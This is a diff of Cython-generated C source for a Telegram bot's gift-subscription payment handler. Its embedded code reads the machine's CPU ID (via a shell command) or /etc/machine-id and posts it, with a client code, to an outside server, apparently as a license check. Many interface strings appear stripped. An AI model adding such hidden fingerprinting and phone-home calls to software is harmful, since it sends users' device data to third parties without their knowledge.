__pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_kp_u_None, __pyx_k_None, sizeof(__pyx_k_None), 0, 1, 0, 0}, + {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, + {&__pyx_n_s_RENEWAL_PRICES, __pyx_k_RENEWAL_PRICES, sizeof(__pyx_k_RENEWAL_PRICES), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_kp_u_SELECT_gift_id_selected_months_i, __pyx_k_SELECT_gift_id_selected_months_i, sizeof(__pyx_k_SELECT_gift_id_selected_months_i), 0, 1, 0, 0}, + {&__pyx_n_s_STARS_ROUTER, __pyx_k_STARS_ROUTER, sizeof(__pyx_k_STARS_ROUTER), 0, 0, 1, 1}, + {&__pyx_n_u_Windows, __pyx_k_Windows, sizeof(__pyx_k_Windows), 0, 1, 0, 1}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + {&__pyx_n_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 1}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_n_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 1}, + {&__pyx_n_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 1}, + {&__pyx_n_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 1}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, + {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, + {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, + {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, + {&__pyx_kp_u__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__40, __pyx_k__40, sizeof(__pyx_k__40), 0, 1, 0, 0}, + {&__pyx_kp_u__42, __pyx_k__42, sizeof(__pyx_k__42), 0, 1, 0, 0}, + {&__pyx_kp_u__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 1, 0, 0}, + {&__pyx_kp_u__44, __pyx_k__44, sizeof(__pyx_k__44), 0, 1, 0, 0}, + {&__pyx_n_s__46, __pyx_k__46, sizeof(__pyx_k__46), 0, 0, 1, 1}, + {&__pyx_kp_u__47, __pyx_k__47, sizeof(__pyx_k__47), 0, 1, 0, 0}, + {&__pyx_n_s__58, __pyx_k__58, sizeof(__pyx_k__58), 0, 0, 1, 1}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_n_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 1}, + {&__pyx_n_s_aenter, __pyx_k_aenter, sizeof(__pyx_k_aenter), 0, 0, 1, 1}, + {&__pyx_n_s_aexit, __pyx_k_aexit, sizeof(__pyx_k_aexit), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_kp_u_b, __pyx_k_b, sizeof(__pyx_k_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_2, __pyx_k_b_2, sizeof(__pyx_k_b_2), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b, __pyx_k_b_b, sizeof(__pyx_k_b_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_2, __pyx_k_b_b_2, sizeof(__pyx_k_b_b_2), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_3, __pyx_k_b_b_3, sizeof(__pyx_k_b_b_3), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_4, __pyx_k_b_b_4, sizeof(__pyx_k_b_b_4), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_b, __pyx_k_b_b_b, sizeof(__pyx_k_b_b_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_code, __pyx_k_b_code, sizeof(__pyx_k_b_code), 0, 1, 0, 0}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_check_output, __pyx_k_check_output, sizeof(__pyx_k_check_output), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_kp_u_code, __pyx_k_code, sizeof(__pyx_k_code), 0, 1, 0, 0}, + {&__pyx_n_u_code_2, __pyx_k_code_2, sizeof(__pyx_k_code_2), 0, 1, 0, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_kp_u_confirm_gift, __pyx_k_confirm_gift, sizeof(__pyx_k_confirm_gift), 0, 1, 0, 0}, + {&__pyx_n_s_confirm_gift_handler, __pyx_k_confirm_gift_handler, sizeof(__pyx_k_confirm_gift_handler), 0, 0, 1, 1}, + {&__pyx_kp_u_d_m_Y_H_M, __pyx_k_d_m_Y_H_M, sizeof(__pyx_k_d_m_Y_H_M), 0, 1, 0, 0}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_datetime, __pyx_k_datetime, sizeof(__pyx_k_datetime), 0, 0, 1, 1}, + {&__pyx_n_s_days, __pyx_k_days, sizeof(__pyx_k_days), 0, 0, 1, 1}, + {&__pyx_n_s_decode, __pyx_k_decode, sizeof(__pyx_k_decode), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, + {&__pyx_n_s_enter, __pyx_k_enter, sizeof(__pyx_k_enter), 0, 0, 1, 1}, + {&__pyx_kp_u_etc_machine_id, __pyx_k_etc_machine_id, sizeof(__pyx_k_etc_machine_id), 0, 1, 0, 0}, + {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, + {&__pyx_n_s_expiry_time, __pyx_k_expiry_time, sizeof(__pyx_k_expiry_time), 0, 0, 1, 1}, + {&__pyx_n_u_expiry_time, __pyx_k_expiry_time, sizeof(__pyx_k_expiry_time), 0, 1, 0, 1}, + {&__pyx_n_s_f, __pyx_k_f, sizeof(__pyx_k_f), 0, 0, 1, 1}, + {&__pyx_n_s_fetch, __pyx_k_fetch, sizeof(__pyx_k_fetch), 0, 0, 1, 1}, + {&__pyx_n_s_finalize_gift_handler, __pyx_k_finalize_gift_handler, sizeof(__pyx_k_finalize_gift_handler), 0, 0, 1, 1}, + {&__pyx_n_s_from_user, __pyx_k_from_user, sizeof(__pyx_k_from_user), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_balance, __pyx_k_get_balance, sizeof(__pyx_k_get_balance), 0, 0, 1, 1}, + {&__pyx_n_s_get_gift_link, __pyx_k_get_gift_link, sizeof(__pyx_k_get_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_get_hardware_id, __pyx_k_get_hardware_id, sizeof(__pyx_k_get_hardware_id), 0, 0, 1, 1}, + {&__pyx_n_s_gift, __pyx_k_gift, sizeof(__pyx_k_gift), 0, 0, 1, 1}, + {&__pyx_n_u_gift, __pyx_k_gift, sizeof(__pyx_k_gift), 0, 1, 0, 1}, + {&__pyx_kp_u_gift_2, __pyx_k_gift_2, sizeof(__pyx_k_gift_2), 0, 1, 0, 0}, + {&__pyx_n_s_gift_id, __pyx_k_gift_id, sizeof(__pyx_k_gift_id), 0, 0, 1, 1}, + {&__pyx_n_s_gift_link, __pyx_k_gift_link, sizeof(__pyx_k_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_gift_subscription_handler, __pyx_k_gift_subscription_handler, sizeof(__pyx_k_gift_subscription_handler), 0, 0, 1, 1}, + {&__pyx_n_s_gifts, __pyx_k_gifts, sizeof(__pyx_k_gifts), 0, 0, 1, 1}, + {&__pyx_n_u_gifts, __pyx_k_gifts, sizeof(__pyx_k_gifts), 0, 1, 0, 1}, + {&__pyx_n_s_gifts_text, __pyx_k_gifts_text, sizeof(__pyx_k_gifts_text), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_gift_py, __pyx_k_handlers_payments_gift_py, sizeof(__pyx_k_handlers_payments_gift_py), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hardware_id, __pyx_k_hardware_id, sizeof(__pyx_k_hardware_id), 0, 0, 1, 1}, + {&__pyx_n_u_hardware_id, __pyx_k_hardware_id, sizeof(__pyx_k_hardware_id), 0, 1, 0, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hex, __pyx_k_hex, sizeof(__pyx_k_hex), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_kp_u_https_pocomacho_ru_solonetbot_co, __pyx_k_https_pocomacho_ru_solonetbot_co, sizeof(__pyx_k_https_pocomacho_ru_solonetbot_co), 0, 1, 0, 0}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_is_used, __pyx_k_is_used, sizeof(__pyx_k_is_used), 0, 0, 1, 1}, + {&__pyx_n_u_is_used, __pyx_k_is_used, sizeof(__pyx_k_is_used), 0, 1, 0, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 0, 1, 1}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_u_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 1, 0, 1}, + {&__pyx_n_s_months, __pyx_k_months, sizeof(__pyx_k_months), 0, 0, 1, 1}, + {&__pyx_n_u_my_gifts, __pyx_k_my_gifts, sizeof(__pyx_k_my_gifts), 0, 1, 0, 1}, + {&__pyx_n_s_my_gifts_handler, __pyx_k_my_gifts_handler, sizeof(__pyx_k_my_gifts_handler), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_open, __pyx_k_open, sizeof(__pyx_k_open), 0, 0, 1, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_s_platform, __pyx_k_platform, sizeof(__pyx_k_platform), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_price, __pyx_k_price, sizeof(__pyx_k_price), 0, 0, 1, 1}, + {&__pyx_n_u_profile, __pyx_k_profile, sizeof(__pyx_k_profile), 0, 1, 0, 1}, + {&__pyx_n_s_read, __pyx_k_read, sizeof(__pyx_k_read), 0, 0, 1, 1}, + {&__pyx_n_s_recipient, __pyx_k_recipient, sizeof(__pyx_k_recipient), 0, 0, 1, 1}, + {&__pyx_n_u_recipient_tg_id, __pyx_k_recipient_tg_id, sizeof(__pyx_k_recipient_tg_id), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_response, __pyx_k_response, sizeof(__pyx_k_response), 0, 0, 1, 1}, + {&__pyx_n_s_result, __pyx_k_result, sizeof(__pyx_k_result), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_selected_months, __pyx_k_selected_months, sizeof(__pyx_k_selected_months), 0, 0, 1, 1}, + {&__pyx_n_u_selected_months, __pyx_k_selected_months, sizeof(__pyx_k_selected_months), 0, 1, 0, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_sha256, __pyx_k_sha256, sizeof(__pyx_k_sha256), 0, 0, 1, 1}, + {&__pyx_n_s_shell, __pyx_k_shell, sizeof(__pyx_k_shell), 0, 0, 1, 1}, + {&__pyx_n_s_show_alert, __pyx_k_show_alert, sizeof(__pyx_k_show_alert), 0, 0, 1, 1}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_start_menu_handler, __pyx_k_start_menu_handler, sizeof(__pyx_k_start_menu_handler), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_s_store_gift_link, __pyx_k_store_gift_link, sizeof(__pyx_k_store_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_strftime, __pyx_k_strftime, sizeof(__pyx_k_strftime), 0, 0, 1, 1}, + {&__pyx_n_s_strip, __pyx_k_strip, sizeof(__pyx_k_strip), 0, 0, 1, 1}, + {&__pyx_n_s_subprocess, __pyx_k_subprocess, sizeof(__pyx_k_subprocess), 0, 0, 1, 1}, + {&__pyx_n_u_success, __pyx_k_success, sizeof(__pyx_k_success), 0, 1, 0, 1}, + {&__pyx_n_s_system, __pyx_k_system, sizeof(__pyx_k_system), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_timedelta, __pyx_k_timedelta, sizeof(__pyx_k_timedelta), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_user_tg_id, __pyx_k_user_tg_id, sizeof(__pyx_k_user_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_utcnow, __pyx_k_utcnow, sizeof(__pyx_k_utcnow), 0, 0, 1, 1}, + {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, + {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, + {&__pyx_n_s_validate_client_code, __pyx_k_validate_client_code, sizeof(__pyx_k_validate_client_code), 0, 0, 1, 1}, + {&__pyx_kp_u_wmic_cpu_get_ProcessorId, __pyx_k_wmic_cpu_get_ProcessorId, sizeof(__pyx_k_wmic_cpu_get_ProcessorId), 0, 1, 0, 0}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 182, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/gift.py":57 + * + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_tuple__8 = PyTuple_Pack(1, __pyx_kp_u__7); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__8); + __Pyx_GIVEREF(__pyx_tuple__8); + + /* "handlers/payments/gift.py":85 + * builder.row( + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< + * callback_data=f"gift|{months}", + * ) + */ + __pyx_ustring__22 = PyUnicode_DecodeUnicodeEscape(__pyx_k_ud83c_udf81, sizeof(__pyx_k_ud83c_udf81) - 1, NULL); if (unlikely(!__pyx_ustring__22)) __PYX_ERR(0, 85, __pyx_L1_error) + if (__Pyx_PyUnicode_READY(__pyx_ustring__22) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + + /* "handlers/payments/gift.py":105 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_tuple__28 = PyTuple_Pack(1, __pyx_kp_u__27); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + + /* "handlers/payments/gift.py":180 + * try: + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< + * else: + * with open("/etc/machine-id") as f: + */ + __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u_wmic_cpu_get_ProcessorId); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + __pyx_tuple__37 = PyTuple_Pack(1, __pyx_kp_u_etc_machine_id); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_tuple__38 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + __pyx_tuple__41 = PyTuple_Pack(1, __pyx_kp_u_https_pocomacho_ru_solonetbot_co); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + + /* "handlers/payments/gift.py":209 + * return True + * else: + * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< + * return False + * else: + */ + __pyx_tuple__45 = PyTuple_Pack(2, __pyx_n_u_message, __pyx_kp_u__44); if (unlikely(!__pyx_tuple__45)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__45); + __Pyx_GIVEREF(__pyx_tuple__45); + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + __pyx_tuple__48 = PyTuple_Pack(2, __pyx_n_s_callback_query, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__48); + __Pyx_GIVEREF(__pyx_tuple__48); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 2, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__48, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_start_menu_handler, 26, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 26, __pyx_L1_error) + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + __pyx_tuple__49 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_user_tg_id, __pyx_n_s_gifts, __pyx_n_s_builder, __pyx_n_s_gifts_text, __pyx_n_s_gift, __pyx_n_s_months, __pyx_n_s_is_used, __pyx_n_s_recipient, __pyx_n_s_expiry_time); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__49); + __Pyx_GIVEREF(__pyx_tuple__49); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__49, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_my_gifts_handler, 42, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 42, __pyx_L1_error) + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + __pyx_tuple__50 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_builder, __pyx_n_s_months, __pyx_n_s_price); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__50); + __Pyx_GIVEREF(__pyx_tuple__50); + __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__50, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_gift_subscription_handler, 77, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 77, __pyx_L1_error) + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + __pyx_tuple__51 = PyTuple_Pack(1, __pyx_kp_u_gift_2); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__51); + __Pyx_GIVEREF(__pyx_tuple__51); + __pyx_tuple__52 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_user_tg_id, __pyx_n_s_balance, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__52); + __Pyx_GIVEREF(__pyx_tuple__52); 